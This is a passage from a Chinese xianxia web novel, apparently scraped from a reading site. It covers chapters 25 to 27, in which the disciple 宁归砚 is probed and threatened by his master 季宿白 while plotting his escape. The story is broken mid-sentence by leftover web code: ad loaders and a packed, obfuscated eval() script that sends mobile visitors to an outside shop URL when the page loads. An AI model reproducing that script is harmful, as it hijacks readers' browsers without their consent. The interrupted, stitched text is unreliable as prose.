“和其他内门弟子一块修习,更能锻炼他们。” 宁归砚抿了抿唇,烦躁地在另一侧坐下:“原来师尊要单独教导我,荣幸之至。” 虽是笑着说,但咬牙切齿的,再搭配那张清冷的脸,很难不看出他心中的不满。 但这种不满可不会让季宿白改变想法,季宿白站起身,却未叫宁归砚施些什么术法或者使什么剑法,而是微微低头,盯着宁归砚的脸,道:“运气给我看看。” 宁归砚搭在石桌上的手一紧,他抬目和季宿白略微认真的目光对上,意识到对方不是开玩笑,目光移开些许,竟然想不出什么办法推辞。 见人迟迟不回答也不动作,季宿白走到他身侧,笑了笑,语气平静又让人觉得毛骨悚然。 “怎么,怕我在你运气的时候,扼住你的命脉,将你杀了?如此怕死,何不继续伪装,与我撕破什么脸皮?” 宁归砚的确怕那个,修习之人运气时最为脆弱,若是在此刻用上什么摄魂的术法,可能就什么都说出来了,若是想要人命,便也是轻轻松松,哪怕是季宿白也无法避免。 可宁归砚怕的不是后者,他若是怕死,哪能对自己那么狠,他怕的是自己被迷惑,什么都说出来,可能会造成一些无法预料的问题——比如被当做邪魔,比如他被迫夺舍,又比如,以后即将发生的所以事情。 虽然不知道有没有蝴蝶效应,但他可不想做那根能牵引一切的绳子。 宁归砚松开捏紧的手,冷笑一声:“师尊想多了,我自然是不怕的,若是怕,想方设法也会在您出关的时候离开这儿了,哪能回来?” 说罢,起身走到一侧,就地盘坐,按照他从那些藏书上学得的技巧运气,要是换一个月前,宁归砚死也想不到他有天能学这个,神不神鬼不鬼的,背离了他的唯物主义,偏偏又真实得不能再真实。 修习者一旦入定,便不能轻易从运气的状态当中脱离出来,季宿白也不怕他装模作样跑了,坐下重新端起茶盏,细细抿着的同时盯着宁归砚,眼神似要将人扒光。 目光暗沉沉,令人胆怯惧怕。 一刻钟后,季宿白皱着眉头站起身,手中的杯盏都被他放得震响,他表情疑惑不解,走到宁归砚面前,更是明显。 等宁归砚从入定当中睁开眼,面对的便是季宿白捉摸不清的表情。 两人四目相对许久,季宿白才蹲下来,与宁归砚的目光平齐,张唇说出他要说不说的话。 “错了。” 宁归砚怔愣一下:“什么?” 季宿白眉头皱得更紧,比林自潜的皱纹还深,他抓起宁归砚的手腕,在腕口捏了捏,按了按,一股无法被忽视的冷意侵入,叫宁归砚忍不住挣扎起来。 “别动。” 他抓紧宁归砚的手,见人疼得皱眉,于是松了松,解释道:“我不会做什么,别动,再运一遍气给我看看。” 宁归砚觉着他莫名其妙,但脖子都被人掐着,不想也得做了,于是别过头去,闭上眼仔细回想路径,将灵气在经脉内缓慢游走。 他学得不算精,只是当初为了糊弄两个主角和那些师弟师妹门做的功课,因此运行的速度可比其他人慢得多,何况他的灵气上还裹着季宿白那股猛烈的气息,即便对方稍稍收住,也让人额头冒汗。 季宿白的气息行走至五脏内时,忽然停住,对方松开了手,在宁归砚睁眼后,走到宁归砚身后,抬手拢住宁归砚的手,姿态堪称暧昧。 宁归砚被耳边灼热的气息烫到,忍不住红了脸,抬手要拍开。 “别动。” 身后沉沉地声音传过来,透过手心侵入骨髓,低哑的嗓音在耳边久久回荡,两人靠得极为近,宁归砚一时间忘了挣扎,便被季宿白抓住了空子,指尖一疼,一股灵气钻进去,在他体内换行。 “你做什么?” 宁归砚找回自己的声音,但整个人都像被拆散的娃娃,恐惧感让他没有了思考能力,只会一股脑地摆动手指,知道身后的人将他的下颌捏住。 “我做什么?宁归砚,谁教你这样运气的?说。” 谁教的?藏书阁的书不都是他们天一山的人放进去的吗,还问他谁教的? 可惜还没出声斥问,手心处的凉意便丝丝缕缕,跟随着季宿白的话语从手腕延伸至肩膀,再是脖子,然后是胸口,直到四肢百骸都是冰冷的凉意,虽然不致命,但就是让人感觉那股气息与他的血液融在了一起。 季宿白只要动动手指,他的身体就能被顷刻毁灭,这种极度的压制令人恐惧。 “主经脉不通,身体各处都是隐藏的魔气,林自潜就是这样给你诊治的?” “学的运气方式也不对,别人运行一刻钟的灵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气,你这种方法,得用上两个时辰。” “宁归砚,你从哪儿学的这野路子?” 宁归砚听着,心里一震一惊。 我学错了?啧。 手腕被抓着,有了些红痕,宁归砚就盯着那红痕看,偶尔能听见身后季宿白沉沉的呼吸声,像是疑惑,又有点儿烦闷,但却没有丝毫不耐烦。 身体中的凉意渐渐和自己的灵气混合,在经脉内冲撞,流转,运行过一圈后,宁归砚猛地吐出一口血。 血是黑色的,像极了中毒毒发时的状态,但他却浑身通常得很,以往心里那些莫名的郁结都消失了,并且能感觉到周围浓郁的灵气——是属于季宿白的,他以往并不敏感。 手腕被松开,宁归砚抬目,就看见对方手心被他掐得深陷的手心,好几处破了皮,流出几滴鲜红,看着有些可怖。 他嗫嚅着,偏过头,见季宿白好整以暇地看着他,到嘴边的话又落了下去,转而问了另一句。 “你刚刚说的话,是什么意思?” 季宿白拿出一枚方帕,在手心擦了擦,身前的人出了声,便垂目看过去,倒也应了宁归砚。 “字面意思,每天抱着那藏书阁的书瞧,也指导过不少门内弟子,不知道那是什么路子的运气方式?宁归砚,真不知你是在挑衅我还是在装傻。” 宁归砚心中一动,将表情收起,目光投向手指上的红,淡声开口。 “师尊既然知道,何不直接将我关押,留着我做什么?真不怕我去打草惊蛇吗?” 他偏头抬目看着季宿白,丝毫不愿意抬头看。 季宿白站起身,黑眸落在宁归砚手腕出片刻,随后将手帕放在石桌上。 “明日继续。” 说完就离开了阁安居,不给宁归砚一点拒绝的机会。 宁归砚见人走了,撑着地坐在石凳上,低头看着他被抓出红痕的手腕,拧眉思索良久。 随后回了厢房。 虽说是单独教导,但季宿白也只是每天看看宁归砚的成果,偶尔点评指导一番,几乎是看得密不透风。 不过宁归砚在晚间总能找到时间独自呆着,他觉得完成自己的计划离开这里刻不容缓,不然那天就被季宿白弄死了,冤都没地申。 夜色渐渐深了后,宁归砚便径直去了藏书阁,季宿白并不在阁安居居住,因此他这几天也没刻意躲着。 藏书阁内的人现在很少,他刷了个脸进入后,在三楼找遍了藏书,终于找到他想要的,虽然是残本,但也能解惑不少了。 将那残本混在一堆秘籍当中,也少有人怀疑。 宁归砚在屋内燃起灯,拉开椅子坐下,翻开了他找了好几天才找到勉强和所需信息相关的书籍。 书比较残破,上面的文字也散乱,但仔细看,还是能看出一些眉目的。 “启云海... ...魔族尊主陨落... ...” 上面记录的是千年前修仙宗门和魔族在一处海岸旁的战斗,那是近千年来最大的斗争,虽然魔族的尊主陨落,但死伤无数。 这残本因为残缺不全才被放在禁书室外,可这里面的内容和徐应提到的禁是不是有关系,宁归砚还不确定。 难不成原主真和魔族有什么勾结?要再次引发一场大战,可原著也没提及... ... 宁归砚觉得脑子有点疼,捂着额头闭眼,几息后骤然转身,对上几宿白神秘莫测的目光。 “你为何拿着这个?” 25. 真无情啊师尊 “你对这里面的内容,很感兴趣?” 身后的寒意丝丝缕缕钻入宁归砚的身体,对方的气息像针扎一样黏在皮肤上。 他捏着书页的手紧了紧,抿唇似若无辜,刚要解释些什么,眼前忽然一晃,身后的凌冽感遽然强烈。 在周围事物发生变化后,宁归砚闭紧眼呼吸一滞,抬手抓住那只掐着他脖子的手,后脊被重重摔在不算坚硬的床褥上,闷哼声溢出唇角。 喉间的窒息感让宁归砚一度有了对方想要杀了他的想法,眼纱之外的面庞上是毫不掩饰的威胁之色。 在宁归砚憋红了脸后,对方骤然松开,抓住他下颌的手将他的脑袋带着往上。 季宿白另一只手抓着那本残书,一条腿跪在床沿,恫吓着:“不说,我可以送你去长老堂,你日日往藏书阁跑,就为了找这残本?” 宁归砚捂着唇咳嗽,几乎将季宿白的手当做了支撑点抓着,他急促地呼吸着,整个人的重量都挂在了男人的手臂上,好半天才缓过神来,瞥向眼前盯着他的男人,嘴唇曲起弧度。 “怎么,看不得?” 季宿白在他下颌上的手动了动,拇指触碰到唇瓣,随后用力按了按,忽然笑一声:“其他人看得,但若是你看,就很奇怪了。” 他凑近去,两人目光对上,就是隔着一层眼纱,季宿白也能感觉到那双眼睛下的慌乱。 “知道这是什么书吗?” “就是外门弟子都不会看的残缺的记录,现在却在你手上,里面的内容就算是散修也都清楚,怎么我瞧你一脸疑惑认真的模样?” “天一山的大弟子,若是术法不精便也算了,运气之法一塌糊涂,宁归砚,你究竟是和魔族有关,还是别的什么东西?你可杀过人?” 话语之中的意思显然是已经开始怀疑宁归砚不是原主了,在向他讨要原来那个人呢。 下颌处的疼痛复现,季宿白捏着他别开的脸,两人再次四目相对。 宁归砚挣扎的手便顿住,嗤笑着。 他松开季宿白的手腕,上面又添了新伤,但可不能让他解气,于是主动靠近,两人鼻尖靠着鼻尖。 “季仙尊,天一山便是如此待人的?不分青红皂白就袒露杀意,初次见面时便是,不知道是贵宗的礼节,还是仙尊个人的待客之道?” 宁归砚现在是一张皮都不想披着了,见季宿白皱眉,又继续说道。 “我便是什么妖邪,您也该早看出来了,何须等到现在质问我,说到底,你不就是想留我做诱饵,这天一山内,没有接应,我早早便被关押起来拷问了,怎么能呆到现在?” “而且,你觉得我要如何杀了一个比我强大不少的人。” 宁归砚猛地直着起身,眼纱之下的眸子里皆是恼怒。 “要杀便杀,别把莫须有的罪名安在我身上,我担不起,他人去哪了,我怎么知道,你怎么不问问我为什么来到这了?当初可是贵宗弟子带我上来的,不如你放了我,你再去找你那宝贝弟子?” 宁归砚肆无忌惮的话语让季宿白稍微松了些力度。 因为收了力,宁归砚便受不住力倒在床榻上,摸着脖子一阵嘶疼。 季宿白好整以暇坐下,仿佛方才的对峙是过眼云烟,他将那册残本扔到宁归砚身侧,书页因为掠过的风被翻至宁归砚先前看的那一页。 随后他启唇:“名字。” 宁归砚侧过头去,轻轻碰了一下他下颌处灼热的地方,短嘶一声后不耐烦地回答:“宁归砚。” 季宿白眸子沉了沉。 宁归砚撇头看他一眼:“仙尊信便信,不信我也没有办法。” 气焰像极了吃干抹净不负责的渣男。 他拾起那册残本,拍了拍合起,撑着床沿坐起,轻扯着唇疑惑:“怎么,不想杀我了?” 实际他根本没觉得季宿白会杀他,这天一山内把原身弄进来的人,是谁都不清楚呢,怎么会让自己有丝毫差错。 季宿白显然也看出宁归砚的有恃无恐,不冷不热地哼了一声,站起身低头看着宁归砚,黑沉沉的目光中笑容晃眼,深陷处也袒露出些许的得意,让人忍不住想要抬手挡住那笑靥。 他别开视线,将周围的结界撤掉,这才回答宁归砚的疑惑。 “如你说的,若是杀了,拿什么去钓鱼?” 宁归砚挑了挑眉。 “为什么觉得我能做那个鱼饵?万一我只是个障眼法呢?还任由我承着这个身份在天一山呆这么久,你真不关心你那个弟子?真无情啊师尊... ...” 他扬起头,将手中的东西收入储物袋,正要起身,被人一把拉住往下扯。 宁归砚疑惑转头,看着他被拉着的手腕皱了皱眉,手指动了动,对方无动于衷。 他抿唇:“松开。” 见季宿白还是未动作,便勾唇一笑。 “虽然师尊姿色过人,但我还没有和杀了我的的威胁有什么瓜葛的爱好,怎么,每日当你的大弟子不够,你还想要别的关系?” 他低头垂目:“松开?” 季宿白眼尾颤了颤,垂目松开手。 “污言秽语。” 宁归砚不甘示弱:“确实不如您如此高洁。” 季宿白也不再与他多费口舌,别开脸站起身挡住宁归砚的路,随后扔出一瓶药,上面的印记不是药堂的,显然是他自己不知从哪儿弄来的稀罕物。 宁归砚摊手接过,晃了晃,在瓶子内发出清冽的撞击声时,听见季宿白开口:“一天一粒,能驱除你体内的魔气,不想死的话,就收着,自己下山。” 说完,顶着个红脖子打开门,凌冽的风吹进来,叫宁归砚眯了眯眼。 等门前的身影消失,宁归砚站起身,揉了揉他被掐得阵阵灼烫的脖子,缓步走出门迎上寒风时,扑面的雪花就砸了他满脸,他忍不住暴了粗口。 “靠。” 把他带到这就算了,还扔着不管,这么大的风雪,以他的身体下山一趟恐怕得呆上一整天出不来门。 正在心里诅咒季宿白出门踩冰找不到撑点还被树枝绊到,目光落点就多了道身影。 他抬头,季宿白站在屋宅中央的池塘边,雪白的衣裳几乎要和周围融为一体,若不是那灼热的视线和足够高大的身材,宁归砚或许没那么快发现。 “走吧。” 周围的风雪停下,季宿白在原地转身,扔下一句,身侧出现他那柄宝贝得不得了的长剑,剑身加长扩宽。 宁归砚在原地还有些愣神,见人踏上剑身伸出一只手,神色微动,走过去握上。 “自己抓紧。” 季宿白淡声说道,抬手结印便带着人上了半空。 宁归砚站在后方有些不稳,拉住了季宿白的衣袖,惹得对方侧目看过来,一脸疑惑和纠结。 他从朦朦胧当中故意扯了扯那片衣角,话语迎着风声荡在季宿白心里。 “师尊,其实我会御剑,师尊怕不是忘了。” 剑上的身形一顿,正要开口,宁归砚又打断季宿白的话。 “不过我方才被师尊的灵力震伤了,多谢师尊体恤。” 季宿白紧了的肩膀松懈下去,他绕手将速度加快,留下冷冷一句“闭嘴”。 随后身后的人没了声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13951760|147825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但能感觉到后颈处的目光,思量中带着算计。 之后两人分道扬镳,今日的小插曲便像是没有发生过一般。 宁归砚之后行事依旧未做什么改变,每日不是在藏书阁和阁安居内,便是在弟子居去看望目前被冷落的师弟师妹,只是多了时间在天一山到处逛,也没人再拦着他。 午时他照常去藏书阁,进了二层便被一人拦住。 林奇走过来唤了声宁归砚,看着宁归砚手中的书满意地点了点头,抬手在宁归砚肩侧拍了拍。 “小宁如此勤恳,后生可畏,若是修习方面有什么难处,可来寻我,若是找不到人,便去长老堂寻我。” 宁归砚不动声色地将手中的书册上带有书名的那面压在衣袖下,弯唇一笑:“多谢三长老,若有不明白的地方,一定指教。” 林奇看不懂他其中的退意,拉着人便询问起来:“说起来,近日言言他们似乎没有上早课?可知道其中缘由?” 宁归砚抬目骇怪:“倒是不知道这番缘故,只是每日都见师尊下山来,也有提及过师弟师妹的修习状况,想必是与门内的其他师弟妹一块更融洽,他们上山不久,师尊要求严格,也不能逼得太紧了。” 林奇神色怪异地应了一声:“这样,是我过度担心了,还是怕言言这孩子性子乖张,也不能好好修习,既然这样,我便放心,也就托你多多照顾了,毕竟我们也不能常常去弟子居。” 他说着,还未停止。 “队里,正好过几日便是你师婶的生辰,到时候你前来聚一聚,你师妹那时也会归家,可有时间?” 宁归砚是听出来了,这是找个借口想要拉进他和林言言的关系,单单师兄师妹可不够林奇满意,可他也不是手捏的柿子,季宿白有时都拿他没办法。 他扬唇笑了笑,点点头。 “若是那时有空闲,必定上门拜访,只希望师婶不嫌我的生辰礼没有新意。” 林奇摆摆手:“自然是不会,她最是疼你了,那我也不打扰你了,如果确定了,叫言言递个话就行了,到时候做些你爱吃的家常菜!” 林奇笑呵呵地离开后,宁归砚敛了笑,将手中的藏书晃进储物袋,转身时冷了眉,迎上前来的弟子后又恢复得体。 在藏书阁又呆了一会,见时辰不早,宁归砚挥挥袖回了阁安居,但没进房间,而是捧着那本书,亮起灯盏看了好一会,偶尔抬手施术,但次次失败,让他好一阵烦闷。 正疑惑得要将那秘籍给摊在石桌上不管,他处变传来一阵轻笑声。 宁归砚看过去,站起身,拾起灯盏便要回厢房,被来人拦住。 季宿白拦着他,歪头朝宁归砚身后的石桌上看,收了脸上的笑,调侃道:“日日去藏书阁,我竟不知你如此好学?” 宁归砚站住身,掩唇低头颤抖着肩膀,笑声溢出,在他抬目时杳无影踪。 “好学?你是不是对我有什么误解?” 他挥了挥衣袖,侧目瞥向石桌上的书册,一眼看过去,竟是基础的术法,这天一山大半的弟子都比他要懂得其中奥义。 “我只是惜命,怕哪天还没出这天一山,就因为惹人不高兴丢了性命,而且天一山之外,可不止你想困我,我瞧在廿城遇到的那鬼邪,就挺恨我的。” 季宿白垂目,抬手勾了勾,宁归砚顿了顿,将书拾起放在他手心。 季宿白翻开看了看:“学得明白吗?” 宁归砚偏头微微扬起头:“若是不懂,你教我?” 季宿白收了秘籍。 “好啊。” 宁归砚看着那秘籍消失在视线内,不言不语。 26. 喜欢才给 景弗和林言言的练武台七日行结束后,早课便回到了小竹林,只是这小竹林里有点儿变化。 往日他们那飘柳一般的大师兄,拿上了他的法器,总是提出要与两人切磋一番,而且他们那位不常见的师尊还在一旁指点,见几人差不多便抬手叫停,日日如此。 每每切磋结束后,早课便也结束了。 林言言收起自己的法器,拍了拍景弗的肩膀,走到宁归砚面前,笑着双手合十拜托状:“师兄,我好饿啊,我们去找膳堂的师兄要点吃食去吧?景弗他也饿了,你说是不是小师弟?” 景弗收剑的动作一顿,他看过去,明媚的笑容敲打了一下心脏,好半天才慢吞吞回答:“嗯。” 随后他拍拍手上的灰尘走到林言言身边,同林言言一块看着宁归砚。 宁归砚也是习惯了被两人这样看着,这种场景也上演过不少次,虽然两人都差不多辟谷了,但馋劲还没消,偶尔想吃点东西也是正常的。 正要开口应答,坐在石桌旁训诲完的季宿白便起身过来,站在宁归砚身侧,拉住宁归砚的手往一侧带,转身毫不犹豫。 “多大的人,还要你们大师兄带你们去找路吗?自己去,我有些事情要问他。” 季宿白将两人打发走,带着宁归砚进了小竹林最里面,他们在竹林中的凉亭外停下。 季宿白转身,目光移动,手指抬起虚虚点了点。 “把你的剑拿出来。” 宁归砚按照他的吩咐将法器唤出,握在手上后又听到季宿白的疑惑;“剑名是什么?” 宁归砚愣了愣。 “沄潋。” 这名字还是从历青嘴里听闻的,原著中未曾出现过,宁归砚并不常叫它,而且这剑也没有启灵,即便是唤了,也是个死物。 季宿白走过去将剑拿起,挽了个剑花。 “为何没有启灵?” 他问道。 宁归砚嘴唇动了动,抱胸看着,神色里也是考量:“听说是为了我的身体着想?毕竟启灵了的法器,总是和主人生生相息的,若启了灵,恐怕我的那些灵气,还不够它用的。” 他说的没错,启灵之物便是与主人绑定了,若有损坏,另一端的持有者也会受伤,何况启的灵,是依赖主人身体内的灵气来维持的,只要你没死,它就能一直汲取你身体和进入你身体的灵气,越是强大的法器越是如此。 虽然汲取的灵气不多,大部分人都能接受,但宁归砚这孱弱的身子可受不了。 季宿白了然,沄潋剑柄上的流苏在他的动作下晃了晃,拂过手心,随后剑归还了宁归砚,但上面多了点印记。 宁归砚瞧一眼,看的书多,也没能瞧出这是什么术法咒印。 季宿白见他皱眉,是要误会的样子,立刻颔首将手抬抬。 “用一下。” 宁归砚的疑惑更大,虽然两人撕破了脸皮,但他还是怕季宿白在这剑上做什么手脚,让他跑了又被抓回来,毕竟他是准备将这剑带走的,能防身用。 见人那么说,便捏诀用了个简单的术法,剑气在远处穿过叶片不留痕迹。 宁归砚盯着那地方,将剑收回,几秒后,被剑气围绕的竹子顷刻间四分五裂,可比他平时的切口要平整好多。 宁归砚惊讶地低头看着手中的法器,歪头看向季宿白,刚要询问对方这对柄剑做什么,季宿白忽然弯腰抬手探过来,将他握住剑柄的手往上托托,腕心的温度和身后的心跳保持一致。 仔细听,大概也不是季宿白的心跳。 “干什么?” 宁归砚觉得他是被季宿白的美色给迷惑了,这才没抬手拍开那只手,也甘愿让两人处于过于亲密的姿态。 这样时不时没法左右的想法让宁归砚觉得烦躁,于是在对方未开口前满嘴的刺。 “若是个女人家,我可要哭着闹着求您负责了,师尊,你靠得太近了。” 这朵带刺的白玫瑰在季宿白面前显然只能刺痛手指,别的地方是万万挨不到的。 季宿白身形顿了顿,抓住宁归砚的手却紧了些,弯唇在宁归砚耳畔笑出声。 “怎么,只许你撩拨我,不许我刺激你?只是教你如何用好这柄剑,你就浑身冒刺了?上次把我扎的那么疼,这次怎么缩回去了?” 宁归砚转头,看见季宿白充满得意的眼睛,话头到嘴边,变成毫无杀伤力的一句“我可不敢”。 他目光落回剑柄上的白流苏,眨了眨眼:“我有哪儿做错了?” 他问的是方才用的剑术。 季宿白找回来面子,心中高兴得很,便是说话时的语调都掺杂着愉悦,旁人看了去,真以为他是个多好的师傅,对宁归砚这个大弟子多么宝贝,教导都要不离身。 季宿白抬了抬宁归砚的手腕,寒意在手心转动。 “方才这个地方,力度小了,幅度太大,用的灵气也过多... ...” 一个小小的术法,季宿白愣是让宁归砚重复了百八十遍,最后在宁归砚手上都冒出青筋,颈间也泌出汗来时,这才慢悠悠放下手中的茶盏。 “行了,今日就到这里吧,明日继续,教你是为了我自己,莫要丢了我的面子,我的大弟子。” 那最后的称呼像是故意恶心人似的,叫宁归砚端起茶盏正仰头,闻言黑着脸将杯盏重重放在石桌上,狠狠盯着季宿白离开的地方。 没休息多久,林言言就带着景弗来了小竹林,景弗还抱着一堆油纸,里面大概是装的吃食。 林言言跑过来,弯着眼睛递出她手上的那包:“师兄!膳堂的师兄做了特别好吃的梅花酥!听说是在近山顶摘的,师尊都不知道呢,咯,我要了好多呢!” 宁归砚微微笑着接过,往景弗手上一瞧,确实很多,怕是把膳堂那位师弟的全部存货都薅过来了。 “梅花酥?不怕师尊发现了?那山顶的梅花,可是灵物。” 林言言眼珠子乱溜:“这里天知,地知,你知我知小师弟知,谁会知道,不被师尊发现就好了嘛!” 说着拉长了调子,拽着宁归砚的衣袖晃着:“师兄——你可不能说,不然我和师弟就要被罚了。” 宁归砚无奈,扶额点点头看向景弗:“知道了知道了,下次不许,景弗,你们时常在一块,看紧你师姐,别让她闯祸,可没有下次了,早课也结束了,师兄回去换身衣服。” 林言言闻言挥手:“师兄再见!” 宁归砚笑着走出几步,又骤然停下脚步,回头看向景弗,冷不防地问出一句:“师弟生辰可是快到了?” 景弗也没料想到宁归砚突然问这个,但也点点头应了一声:“嗯,五月下旬。” 现在五月中旬了,还有不到半个月的时间,宁归砚掩住他眉心的一点忧愁,点点头:“那生辰那日,师兄带你下山去逛逛,山下的缷城最是热闹,到时候,带上你师姐,去看看。” 他说完,又朝林言言开口:“师婶明日生辰,可我明日事物多,恐怕是不能赴约了,师妹晚些来我这拿生辰礼,替我道一声不是了。” 林言言点头答应,宁归砚便挥袖离开了。 他回到阁安居,屋宅内冷了许多,季宿白的那间屋子门敞开着,但里面没有人,想来是拿了东西离开了。 宁归砚将大门扣上,又过去把那扇被推开的门关好,这才回了房间,拿出他准备好的生辰礼放在屋外的石桌上,进门便能瞧见,林言言也不会过多打扰他。 做完这些,他在屋内添了炉子,坐在书案前拿出徐应给他的那张地图。 地图被徐徐展开,上面的路线很多,但少有宁归砚的出路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13951761|147825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高灵之后,便是景弗的生辰,在这之后,主角之间的情愫便不再是单纯的感动和欣赏之情了,而原著中,这也是宁归砚的转折点。 原主第一次对景弗表现出恶意,惹得长老堂不快,这便是一切错误的开始。 宁归砚可不会听季宿白的在这天一山内当什么诱饵,他又不是吃饱了撑得,天一山内有卧底关他什么事,而且林家夫妻一看就是要给他和林言言‘赐婚’了,他可不淌这浑水,平白被人记恨。 地图上亮起的光线渐渐暗淡,宁归砚就那样看着一张在外人瞧着只是一张风水画的图看了足足一个时辰,心里的计量不断升起被打破,直到屋外有了动静,这才收了东西,施法掩盖自己的气息。 “师兄!师兄!” 林言言大声唤着推开了门,脸上欣喜之色也没因为无人应答而稍渐,只是在看见石桌上的生辰礼后,擦了擦她手心的油渍,将没吃完的梅花酥收起,拎着那生辰礼离开。 走出阁安居,林言言便撞上了前来的季宿白,大概是心虚,吓得礼物都没抓紧。 若不是季宿白抬手用灵气托着,怕是已经摔了。 她走过去,勉强地扯出笑容,伸出手感谢:“谢谢师尊!” 说罢便要快步越过去,被季宿白叫住。 “等一下。” 季宿白转过身,皱眉冷冷问道:“我山头的梅花,你知道是谁摘的吧?” 林言言深吸一口气,转过头干笑:“啊,师尊你在说什么?我不清楚啊?” 季宿白冷冷讪笑一声:“是吗,我见你带着景弗四处走,他手里抱着的,是梅花酥吧?” 林言言这下没法反驳了,低着头挠了挠鼻子抿唇:“我错了师尊,我再也不帮师兄他们摘山头的梅花了。” 她抬头,见季宿白并没有什么生气的表情,这才松了一口气,又想起什么问道:“师尊你去弟子居那边了吗?” 季宿白点点头:“我瞧着你师兄总是去那边,向来是有什么好看的风景,便去看看。” 他看了眼林言言油滋滋的手,皱了皱眉扔出一张手帕。 “若爱吃,下次可以自己摘了去做,不过怎么全送人了?” 林言言将手上的油渍擦了擦。 “当然是因为喜欢那些人啊,师兄师姐都待我可好了,不过我还剩了一包,本来是要给小师弟的,不过小师弟已经吃了一包了,师尊你吃吗?” 季宿白看了眼她掏出来的东西,沉默了几秒,后退了一步,皱着眉问:“怎么其他人是一份,给师弟便是两份了?” 林言言:“因为我最喜欢小师弟了!当然要给他了!” 季宿白默了片刻,颔首:“知道了,我不喜这些,自己留着吧,都十八了,稳重些,为师先走了。” 林言言见季宿白不收,也没多伤心,“哦”了一声后揣进腰兜里,笑着和季宿白挥了手。 宁归砚在屋内见许久没有动静,发了会呆解了术法,推开门看了眼石桌,上面的东西已经被拿走,他松了口气,坐在案前,将储物袋拿出来。 季宿白给他的玉佩和林自潜的放在一块,显得林自潜的那块玉都逊色了许多。 他在储物袋里又找了一番,拿出些许东西来,才找到那只徐应给的竹筒,想看看里面还有没有玄机,脚踏雪的声音响起,他迅速收起看起来值得怀疑的东西,刚要起身,旁边就落了影子。 季宿白站在他身侧,两人距离太近以至于宁归砚站起又被迫坐下,他仰头看去,见季宿白看着书案上那包梅花酥。 心中一动,宁归砚捧起那梅花酥递到季宿白手侧。 “师尊,上好的梅花酥,吃吗?” 季宿白没说什么,手指动了动,收下那梅花酥,留下一句“早些歇息”便又走了。 跟风一样。 27. 小宁啊 来无影去无踪这个习惯宁归砚已经不大惊讶了,等大门被关上后,他撇撇嘴坐下叹一口气。 “上好的梅花酥,我都没吃呢,早知道拿别的东西给他了。” 好在他在房间里暗搓搓搞的小秘密没有被发现,吃食拿走便拿走了,能换得一些清净。 在屋内亮起灯装模作样捧着季宿白扔给他的几本秘籍看了一会,感觉到周围的冷意散去,门外也没有什么动静后,宁归砚又将那地图拿出来,这次开了砚台沾了墨,将上面的一些路线给画了下来。 结束作画后,他捧着图对着火光笑了笑。 他们肯定看不懂。 第二日宁归砚照常修习过后,他拿着剑去往山顶。 因为出关的原因,山顶的风雪不如他初次去时大,但还是加了件外衣,上山时却发现越是往上,气温就越温和些。 他站在山顶小路的石碑旁,低头看了眼,走近门,抬手拉住铁环敲了敲。 虽然是来找人的,但视线却在四周瞟了个遍,特别是上次他过来时准备跳下去的位置,现在已经被一堆石头给挡起来了,看上去上面还有些阵法。 屋宅的主人将门前的结界解开,宁归砚推了推门,走进去,便瞧见季宿白手中捧着一堆碎饼,正往中央的池塘内撒着。 一堆鱼儿聚在一块抢食,激烈的动作让水波荡漾开来。 季宿白见来人,将手中的碎屑一把撒下去,拍了拍掏出帕子擦了擦手后坐到旁边的石凳上。 他瞥一眼宁归砚,问道:“山上这么冷,你来做什么?山下不够你逛?” 说完朝宁归砚腰侧瞥了一眼,两枚玉佩,都好好地戴着,于是脸上的神色缓和了些,抬手指了指身前的石桌。 “坐。” 宁归砚也不客气,坐下后从储物袋里拿出一本秘籍放在石桌上,不用说话季宿白就能看出他什么意思。 季宿白垂目瞧了一眼,低头笑了笑:“这是来找我取经了?倒是少见。” 宁归砚可不示弱:“不是你说的吗?什么都教?怎么,反悔了?” 季宿白挑了挑眉,将秘籍拾起,翻看几页后站起身。 他唤出自己那柄灰黑的长剑,剑身周围的咒印氤氲着灰雾,只是在甩动时发出平常法器该有的明亮之色。 身材颀长的人将剑挑起,抬腿踢过,手中捏诀念咒,那秘籍上的招式便被轻轻松松地演示出来了。 宁归砚撑着脸观赏在不远处漠着脸将剑术施展的男人,池塘周边种的桑树上掉落下雪来,扑簌簌花瓣一样落在男人肩侧,手背处,还有那瞧不清影子的剑尖上。 一剑结束后,季宿白背起剑,手指一动,长剑便被收回了。 他偏头看着正缓过神来的宁归砚,调笑道:“学会了?看够了吗?” 宁归砚未改姿态,笑容都有些戏谑意味。 “师尊如此身姿,剑法运掉自如,弟子颇为艳羡,看得入神了些,师尊这也不许吗?” 季宿白冷笑:“是吗,复现一遍给我瞧瞧。” 他垂目坐下,端起那还未凉的茶细细抿上几口,再抬眼时,便被宁归砚好不羞赧的神色给吸引住。 “不会?” 宁归砚毫不掩饰,学着季宿白的模样,端起身前的那杯茶,细细抿了几口,被苦得皱了皱眉。 他放下杯子,像极了被长期喂养在家的野猫,一点都不懂得分寸。 “没看懂,师尊再教教?” 季宿白将手中的茶品完,手指勾了勾。 “好啊,沄潋给我,我手把手教你。” 说完,将人拉着站起,快步走到池塘边,手指一挑,将宁归砚挂在腰侧的玉笛扯下,几句咒语后化为长剑,将其塞在宁归砚手心。 